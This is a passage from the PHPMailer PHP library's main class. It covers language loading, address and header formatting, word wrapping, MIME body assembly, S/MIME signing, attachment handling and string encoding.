            'br' => 'pt_br',
            'cz' => 'cs',
            'dk' => 'da',
            'no' => 'nb',
            'se' => 'sv',
            'sr' => 'rs'
        );

        if (isset($renamed_langcodes[$langcode])) {
            $langcode = $renamed_langcodes[$langcode];
        }

        // Define full set of translatable strings in English
        $PHPMAILER_LANG = array(
            'authenticate' => 'SMTP Error: Could not authenticate.',
            'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
            'data_not_accepted' => 'SMTP Error: data not accepted.',
            'empty_message' => 'Message body empty',
            'encoding' => 'Unknown encoding: ',
            'execute' => 'Could not execute: ',
            'file_access' => 'Could not access file: ',
            'file_open' => 'File Error: Could not open file: ',
            'from_failed' => 'The following From address failed: ',
            'instantiate' => 'Could not instantiate mail function.',
            'invalid_address' => 'Invalid address: ',
            'mailer_not_supported' => ' mailer is not supported.',
            'provide_address' => 'You must provide at least one recipient email address.',
            'recipients_failed' => 'SMTP Error: The following recipients failed: ',
            'signing' => 'Signing Error: ',
            'smtp_connect_failed' => 'SMTP connect() failed.',
            'smtp_error' => 'SMTP server error: ',
            'variable_set' => 'Cannot set or reset variable: ',
            'extension_missing' => 'Extension missing: '
        );
        if (empty($lang_path)) {
            // Calculate an absolute path so it can work if CWD is not here
            $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
        }
        //Validate $langcode
        if (!preg_match('/^[a-z]{2}(?:_[a-zA-Z]{2})?$/', $langcode)) {
            $langcode = 'en';
        }
        $foundlang = true;
        $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
        // There is no English translation file
        if ($langcode != 'en') {
            // Make sure language file path is readable
            if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) {
                $foundlang = false;
            } else {
                // Overwrite language-specific strings.
                // This way we'll never have missing translation keys.
                $foundlang = include $lang_file;
            }
        }
        $this->language = $PHPMAILER_LANG;
        return (boolean)$foundlang; // Returns false if language not found
    }

    /**
     * Get the array of strings for the current language.
     * @return array
     */
    public function getTranslations()
    {
        return $this->language;
    }

    /**
     * Create recipient headers.
     * @access public
     * @param string $type
     * @param array $addr An array of recipient,
     * where each recipient is a 2-element indexed array with element 0 containing an address
     * and element 1 containing a name, like:
     * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
     * @return string
     */
    public function addrAppend($type, $addr)
    {
        $addresses = array();
        foreach ($addr as $address) {
            $addresses[] = $this->addrFormat($address);
        }
        return $type . ': ' . implode(', ', $addresses) . $this->LE;
    }

    /**
     * Format an address for use in a message header.
     * @access public
     * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
     *      like array('joe@example.com', 'Joe User')
     * @return string
     */
    public function addrFormat($addr)
    {
        if (empty($addr[1])) { // No name provided
            return $this->secureHeader($addr[0]);
        } else {
            return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
                $addr[0]
            ) . '>';
        }
    }

    /**
     * Word-wrap message.
     * For use with mailers that do not automatically perform wrapping
     * and for quoted-printable encoded messages.
     * Original written by philippe.
     * @param string $message The message to wrap
     * @param integer $length The line length to wrap to
     * @param boolean $qp_mode Whether to run in Quoted-Printable mode
     * @access public
     * @return string
     */
    public function wrapText($message, $length, $qp_mode = false)
    {
        if ($qp_mode) {
            $soft_break = sprintf(' =%s', $this->LE);
        } else {
            $soft_break = $this->LE;
        }
        // If utf-8 encoding is used, we will need to make sure we don't
        // split multibyte characters when we wrap
        $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
        $lelen = strlen($this->LE);
        $crlflen = strlen(self::CRLF);

        $message = $this->fixEOL($message);
        //Remove a trailing line break
        if (substr($message, -$lelen) == $this->LE) {
            $message = substr($message, 0, -$lelen);
        }

        //Split message into lines
        $lines = explode($this->LE, $message);
        //Message will be rebuilt in here
        $message = '';
        foreach ($lines as $line) {
            $words = explode(' ', $line);
            $buf = '';
            $firstword = true;
            foreach ($words as $word) {
                if ($qp_mode and (strlen($word) > $length)) {
                    $space_left = $length - strlen($buf) - $crlflen;
                    if (!$firstword) {
                        if ($space_left > 20) {
                            $len = $space_left;
                            if ($is_utf8) {
                                $len = $this->utf8CharBoundary($word, $len);
                            } elseif (substr($word, $len - 1, 1) == '=') {
                                $len--;
                            } elseif (substr($word, $len - 2, 1) == '=') {
                                $len -= 2;
                            }
                            $part = substr($word, 0, $len);
                            $word = substr($word, $len);
                            $buf .= ' ' . $part;
                            $message .= $buf . sprintf('=%s', self::CRLF);
                        } else {
                            $message .= $buf . $soft_break;
                        }
                        $buf = '';
                    }
                    while (strlen($word) > 0) {
                        if ($length <= 0) {
                            break;
                        }
                        $len = $length;
                        if ($is_utf8) {
                            $len = $this->utf8CharBoundary($word, $len);
                        } elseif (substr($word, $len - 1, 1) == '=') {
                            $len--;
                        } elseif (substr($word, $len - 2, 1) == '=') {
                            $len -= 2;
                        }
                        $part = substr($word, 0, $len);
                        $word = substr($word, $len);

                        if (strlen($word) > 0) {
                            $message .= $part . sprintf('=%s', self::CRLF);
                        } else {
                            $buf = $part;
                        }
                    }
                } else {
                    $buf_o = $buf;
                    if (!$firstword) {
                        $buf .= ' ';
                    }
                    $buf .= $word;

                    if (strlen($buf) > $length and $buf_o != '') {
                        $message .= $buf_o . $soft_break;
                        $buf = $word;
                    }
                }
                $firstword = false;
            }
            $message .= $buf . self::CRLF;
        }

        return $message;
    }

    /**
     * Find the last character boundary prior to $maxLength in a utf-8
     * quoted-printable encoded string.
     * Original written by Colin Brown.
     * @access public
     * @param string $encodedText utf-8 QP text
     * @param integer $maxLength Find the last character boundary prior to this length
     * @return integer
     */
    public function utf8CharBoundary($encodedText, $maxLength)
    {
        $foundSplitPos = false;
        $lookBack = 3;
        while (!$foundSplitPos) {
            $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
            $encodedCharPos = strpos($lastChunk, '=');
            if (false !== $encodedCharPos) {
                // Found start of encoded character byte within $lookBack block.
                // Check the encoded byte value (the 2 chars after the '=')
                $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
                $dec = hexdec($hex);
                if ($dec < 128) {
                    // Single byte character.
                    // If the encoded char was found at pos 0, it will fit
                    // otherwise reduce maxLength to start of the encoded char
                    if ($encodedCharPos > 0) {
                        $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    }
                    $foundSplitPos = true;
                } elseif ($dec >= 192) {
                    // First byte of a multi byte character
                    // Reduce maxLength to split at start of character
                    $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    $foundSplitPos = true;
                } elseif ($dec < 192) {
                    // Middle byte of a multi byte character, look further back
                    $lookBack += 3;
                }
            } else {
                // No encoded character found
                $foundSplitPos = true;
            }
        }
        return $maxLength;
    }

    /**
     * Apply word wrapping to the message body.
     * Wraps the message body to the number of chars set in the WordWrap property.
     * You should only do this to plain-text bodies as wrapping HTML tags may break them.
     * This is called automatically by createBody(), so you don't need to call it yourself.
     * @access public
     * @return void
     */
    public function setWordWrap()
    {
        if ($this->WordWrap < 1) {
            return;
        }

        switch ($this->message_type) {
            case 'alt':
            case 'alt_inline':
            case 'alt_attach':
            case 'alt_inline_attach':
                $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
                break;
            default:
                $this->Body = $this->wrapText($this->Body, $this->WordWrap);
                break;
        }
    }

    /**
     * Assemble message headers.
     * @access public
     * @return string The assembled headers
     */
    public function createHeader()
    {
        $result = '';

        $result .= $this->headerLine('Date', $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate);

        // To be created automatically by mail()
        if ($this->SingleTo) {
            if ($this->Mailer != 'mail') {
                foreach ($this->to as $toaddr) {
                    $this->SingleToArray[] = $this->addrFormat($toaddr);
                }
            }
        } else {
            if (count($this->to) > 0) {
                if ($this->Mailer != 'mail') {
                    $result .= $this->addrAppend('To', $this->to);
                }
            } elseif (count($this->cc) == 0) {
                $result .= $this->headerLine('To', 'undisclosed-recipients:;');
            }
        }

        $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));

        // sendmail and mail() extract Cc from the header before sending
        if (count($this->cc) > 0) {
            $result .= $this->addrAppend('Cc', $this->cc);
        }

        // sendmail and mail() extract Bcc from the header before sending
        if ((
                $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
            )
            and count($this->bcc) > 0
        ) {
            $result .= $this->addrAppend('Bcc', $this->bcc);
        }

        if (count($this->ReplyTo) > 0) {
            $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
        }

        // mail() sets the subject itself
        if ($this->Mailer != 'mail') {
            $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
        }

        // Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4
        // https://tools.ietf.org/html/rfc5322#section-3.6.4
        if ('' != $this->MessageID and preg_match('/^<.*@.*>$/', $this->MessageID)) {
            $this->lastMessageID = $this->MessageID;
        } else {
            $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
        }
        $result .= $this->headerLine('Message-ID', $this->lastMessageID);
        if (!is_null($this->Priority)) {
            $result .= $this->headerLine('X-Priority', $this->Priority);
        }
        if ($this->XMailer == '') {
            $result .= $this->headerLine(
                'X-Mailer',
                'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer)'
            );
        } else {
            $myXmailer = trim($this->XMailer);
            if ($myXmailer) {
                $result .= $this->headerLine('X-Mailer', $myXmailer);
            }
        }

        if ($this->ConfirmReadingTo != '') {
            $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
        }

        // Add custom headers
        foreach ($this->CustomHeader as $header) {
            $result .= $this->headerLine(
                trim($header[0]),
                $this->encodeHeader(trim($header[1]))
            );
        }
        if (!$this->sign_key_file) {
            $result .= $this->headerLine('MIME-Version', '1.0');
            $result .= $this->getMailMIME();
        }

        return $result;
    }

    /**
     * Get the message MIME type headers.
     * @access public
     * @return string
     */
    public function getMailMIME()
    {
        $result = '';
        $ismultipart = true;
        switch ($this->message_type) {
            case 'inline':
                $result .= $this->headerLine('Content-Type', 'multipart/related;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'attach':
            case 'inline_attach':
            case 'alt_attach':
            case 'alt_inline_attach':
                $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'alt':
            case 'alt_inline':
                $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            default:
                // Catches case 'plain': and case '':
                $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
                $ismultipart = false;
                break;
        }
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($this->Encoding != '7bit') {
            // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
            if ($ismultipart) {
                if ($this->Encoding == '8bit') {
                    $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
                }
                // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
            } else {
                $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
            }
        }

        if ($this->Mailer != 'mail') {
            $result .= $this->LE;
        }

        return $result;
    }

    /**
     * Returns the whole MIME message.
     * Includes complete headers and body.
     * Only valid post preSend().
     * @see PHPMailer::preSend()
     * @access public
     * @return string
     */
    public function getSentMIMEMessage()
    {
        return rtrim($this->MIMEHeader . $this->mailHeader, "\n\r") . self::CRLF . self::CRLF . $this->MIMEBody;
    }

    /**
     * Create unique ID
     * @return string
     */
    protected function generateId() {
        return md5(uniqid(time()));
    }

    /**
     * Assemble the message body.
     * Returns an empty string on failure.
     * @access public
     * @throws phpmailerException
     * @return string The assembled message body
     */
    public function createBody()
    {
        $body = '';
        //Create unique IDs and preset boundaries
        $this->uniqueid = $this->generateId();
        $this->boundary[1] = 'b1_' . $this->uniqueid;
        $this->boundary[2] = 'b2_' . $this->uniqueid;
        $this->boundary[3] = 'b3_' . $this->uniqueid;

        if ($this->sign_key_file) {
            $body .= $this->getMailMIME() . $this->LE;
        }

        $this->setWordWrap();

        $bodyEncoding = $this->Encoding;
        $bodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
            $bodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $bodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the body part only
        if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
            $bodyEncoding = 'quoted-printable';
        }

        $altBodyEncoding = $this->Encoding;
        $altBodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
            $altBodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $altBodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the alt body part only
        if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
            $altBodyEncoding = 'quoted-printable';
        }
        //Use this as a preamble in all multipart message types
        $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
        switch ($this->message_type) {
            case 'inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[1]);
                break;
            case 'attach':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                if (!empty($this->Ical)) {
                    $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
                    $body .= $this->encodeString($this->Ical, $this->Encoding);
                    $body .= $this->LE . $this->LE;
                }
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt_inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[2]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[3]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            default:
                // Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types
                //Reset the `Encoding` property in case we changed it for line length reasons
                $this->Encoding = $bodyEncoding;
                $body .= $this->encodeString($this->Body, $this->Encoding);
                break;
        }

        if ($this->isError()) {
            $body = '';
        } elseif ($this->sign_key_file) {
            try {
                if (!defined('PKCS7_TEXT')) {
                    throw new phpmailerException($this->lang('extension_missing') . 'openssl');
                }
                // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
                $file = tempnam(sys_get_temp_dir(), 'mail');
                if (false === file_put_contents($file, $body)) {
                    throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
                }
                $signed = tempnam(sys_get_temp_dir(), 'signed');
                //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
                if (empty($this->sign_extracerts_file)) {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null
                    );
                } else {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null,
                        PKCS7_DETACHED,
                        $this->sign_extracerts_file
                    );
                }
                if ($sign) {
                    @unlink($file);
                    $body = file_get_contents($signed);
                    @unlink($signed);
                    //The message returned by openssl contains both headers and body, so need to split them up
                    $parts = explode("\n\n", $body, 2);
                    $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
                    $body = $parts[1];
                } else {
                    @unlink($file);
                    @unlink($signed);
                    throw new phpmailerException($this->lang('signing') . openssl_error_string());
                }
            } catch (phpmailerException $exc) {
                $body = '';
                if ($this->exceptions) {
                    throw $exc;
                }
            }
        }
        return $body;
    }

    /**
     * Return the start of a message boundary.
     * @access protected
     * @param string $boundary
     * @param string $charSet
     * @param string $contentType
     * @param string $encoding
     * @return string
     */
    protected function getBoundary($boundary, $charSet, $contentType, $encoding)
    {
        $result = '';
        if ($charSet == '') {
            $charSet = $this->CharSet;
        }
        if ($contentType == '') {
            $contentType = $this->ContentType;
        }
        if ($encoding == '') {
            $encoding = $this->Encoding;
        }
        $result .= $this->textLine('--' . $boundary);
        $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
        $result .= $this->LE;
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($encoding != '7bit') {
            $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
        }
        $result .= $this->LE;

        return $result;
    }

    /**
     * Return the end of a message boundary.
     * @access protected
     * @param string $boundary
     * @return string
     */
    protected function endBoundary($boundary)
    {
        return $this->LE . '--' . $boundary . '--' . $this->LE;
    }

    /**
     * Set the message type.
     * PHPMailer only supports some preset message types, not arbitrary MIME structures.
     * @access protected
     * @return void
     */
    protected function setMessageType()
    {
        $type = array();
        if ($this->alternativeExists()) {
            $type[] = 'alt';
        }
        if ($this->inlineImageExists()) {
            $type[] = 'inline';
        }
        if ($this->attachmentExists()) {
            $type[] = 'attach';
        }
        $this->message_type = implode('_', $type);
        if ($this->message_type == '') {
            //The 'plain' message_type refers to the message having a single body element, not that it is plain-text
            $this->message_type = 'plain';
        }
    }

    /**
     * Format a header line.
     * @access public
     * @param string $name
     * @param string $value
     * @return string
     */
    public function headerLine($name, $value)
    {
        return $name . ': ' . $value . $this->LE;
    }

    /**
     * Return a formatted mail line.
     * @access public
     * @param string $value
     * @return string
     */
    public function textLine($value)
    {
        return $value . $this->LE;
    }

    /**
     * Add an attachment from a path on the filesystem.
     * Never use a user-supplied path to a file!
     * Returns false if the file could not be found or read.
     * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.
     * If you need to do that, fetch the resource yourself and pass it in via a local file or string.
     * @param string $path Path to the attachment.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @throws phpmailerException
     * @return boolean
     */
    public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
    {
        try {
            if (!self::isPermittedPath($path) or !@is_file($path)) {
                throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
            }

            // If a MIME type is not specified, try to work it out from the file name
            if ($type == '') {
                $type = self::filenameToType($path);
            }

            $filename = basename($path);
            if ($name == '') {
                $name = $filename;
            }

            $this->attachment[] = array(
                0 => $path,
                1 => $filename,
                2 => $name,
                3 => $encoding,
                4 => $type,
                5 => false, // isStringAttachment
                6 => $disposition,
                7 => 0
            );

        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
        return true;
    }

    /**
     * Return the array of attachments.
     * @return array
     */
    public function getAttachments()
    {
        return $this->attachment;
    }

    /**
     * Attach all file, string, and binary attachments to the message.
     * Returns an empty string on failure.
     * @access protected
     * @param string $disposition_type
     * @param string $boundary
     * @return string
     */
    protected function attachAll($disposition_type, $boundary)
    {
        // Return text of body
        $mime = array();
        $cidUniq = array();
        $incl = array();

        // Add all attachments
        foreach ($this->attachment as $attachment) {
            // Check if it is a valid disposition_filter
            if ($attachment[6] == $disposition_type) {
                // Check for string attachment
                $string = '';
                $path = '';
                $bString = $attachment[5];
                if ($bString) {
                    $string = $attachment[0];
                } else {
                    $path = $attachment[0];
                }

                $inclhash = md5(serialize($attachment));
                if (in_array($inclhash, $incl)) {
                    continue;
                }
                $incl[] = $inclhash;
                $name = $attachment[2];
                $encoding = $attachment[3];
                $type = $attachment[4];
                $disposition = $attachment[6];
                $cid = $attachment[7];
                if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
                    continue;
                }
                $cidUniq[$cid] = true;

                $mime[] = sprintf('--%s%s', $boundary, $this->LE);
                //Only include a filename property if we have one
                if (!empty($name)) {
                    $mime[] = sprintf(
                        'Content-Type: %s; name="%s"%s',
                        $type,
                        $this->encodeHeader($this->secureHeader($name)),
                        $this->LE
                    );
                } else {
                    $mime[] = sprintf(
                        'Content-Type: %s%s',
                        $type,
                        $this->LE
                    );
                }
                // RFC1341 part 5 says 7bit is assumed if not specified
                if ($encoding != '7bit') {
                    $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
                }

                if ($disposition == 'inline') {
                    $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
                }

                // If a filename contains any of these chars, it should be quoted,
                // but not otherwise: RFC2183 & RFC2045 5.1
                // Fixes a warning in IETF's msglint MIME checker
                // Allow for bypassing the Content-Disposition header totally
                if (!(empty($disposition))) {
                    $encoded_name = $this->encodeHeader($this->secureHeader($name));
                    if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
                        $mime[] = sprintf(
                            'Content-Disposition: %s; filename="%s"%s',
                            $disposition,
                            $encoded_name,
                            $this->LE . $this->LE
                        );
                    } else {
                        if (!empty($encoded_name)) {
                            $mime[] = sprintf(
                                'Content-Disposition: %s; filename=%s%s',
                                $disposition,
                                $encoded_name,
                                $this->LE . $this->LE
                            );
                        } else {
                            $mime[] = sprintf(
                                'Content-Disposition: %s%s',
                                $disposition,
                                $this->LE . $this->LE
                            );
                        }
                    }
                } else {
                    $mime[] = $this->LE;
                }

                // Encode as string attachment
                if ($bString) {
                    $mime[] = $this->encodeString($string, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                } else {
                    $mime[] = $this->encodeFile($path, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                }
            }
        }

        $mime[] = sprintf('--%s--%s', $boundary, $this->LE);

        return implode('', $mime);
    }

    /**
     * Encode a file attachment in requested format.
     * Returns an empty string on failure.
     * @param string $path The full path to the file
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @throws phpmailerException
     * @access protected
     * @return string
     */
    protected function encodeFile($path, $encoding = 'base64')
    {
        try {
            if (!self::isPermittedPath($path) or !file_exists($path)) {
                throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
            }
            $magic_quotes = false;
            if( version_compare(PHP_VERSION, '7.4.0', '<') ) {
                $magic_quotes = get_magic_quotes_runtime();
            }
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime(false);
                } else {
                    //Doesn't exist in PHP 5.4, but we don't need to check because
                    //get_magic_quotes_runtime always returns false in 5.4+
                    //so it will never get here
                    ini_set('magic_quotes_runtime', false);
                }
            }
            $file_buffer = file_get_contents($path);
            $file_buffer = $this->encodeString($file_buffer, $encoding);
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime($magic_quotes);
                } else {
                    ini_set('magic_quotes_runtime', $magic_quotes);
                }
            }
            return $file_buffer;
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            return '';
        }
    }

    /**
     * Encode a string in requested format.
     * Returns an empty string on failure.
     * @param string $str The text to encode
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @access public
     * @return string
     */
    public function encodeString($str, $encoding = 'base64')
    {
        $encoded = '';
        switch (strtolower($encoding)) {
            case 'base64':
                $encoded = chunk_split(base64_encode($str), 76, $this->LE);
                break;
            case '7bit':
            case '8bit':
                $encoded = $this->fixEOL($str);
                // Make sure it ends with a line break
                if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
                    $encoded .= $this->LE;
                }
                break;
            case 'binary':
                $encoded = $str;
                break;
            case 'quoted-printable':
                $encoded = $this->encodeQP($str);
                break;
            default:
                $this->setError($this->lang('encoding') . $encoding);
                break;
        }
        return $encoded;
    }

    /**
     * Encode a header string optimally.
     * Picks shortest of Q, B, quoted-printable or none.
     * @access public
     * @param string $str
     * @param string $position
     * @return string
     */
    public function encodeHeader($str, $position = 'text')
    {
        $matchcount = 0;
        switch (strtolower($position)) {
            case 'phrase':
                if (!preg_match('/[\200-\377]/', $str)) {
                    // Can't use addslashes as we don't know the value of magic_quotes_sybase
                    $encoded = addcslashes($str, "\0..\37\177\\\"");
                    if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
                        return ($encoded);
                    } else {
                        return ("\"$encoded\"");
                    }
                }
                $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                $matchcount = preg_match_all('/[()"]/', $str, $matches);
                // Intentional fall-through
            case 'text':
            default:
                $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
                break;
        }

        //There are no chars that need encoding
        if ($matchcount == 0) {
            return ($str);
        }

        $maxlen = 75 - 7 - strlen($this->CharSet);
        // Try to select the encoding which should produce the shortest output
        if ($matchcount > strlen($str) / 3) {
            // More than a third of the content will need encoding, so B encoding will be most efficient
            $encoding = 'B';
            if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
                // Use a custom function which correctly encodes and wraps long
                // multibyte strings without breaking lines within a character
                $encoded = $this->base64EncodeWrapMB($str, "\n");
            } else {
                $encoded = base64_encode($str);
                $maxlen -= $maxlen % 4;
                $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
            }
        } else {
            $encoding = 'Q';
            $encoded = $this->encodeQ($str, $position);
            $encoded = $this->wrapText($encoded, $maxlen, true);
            $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
        }

        $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
        $encoded = trim(str_replace("\n", $this->LE, $encoded));

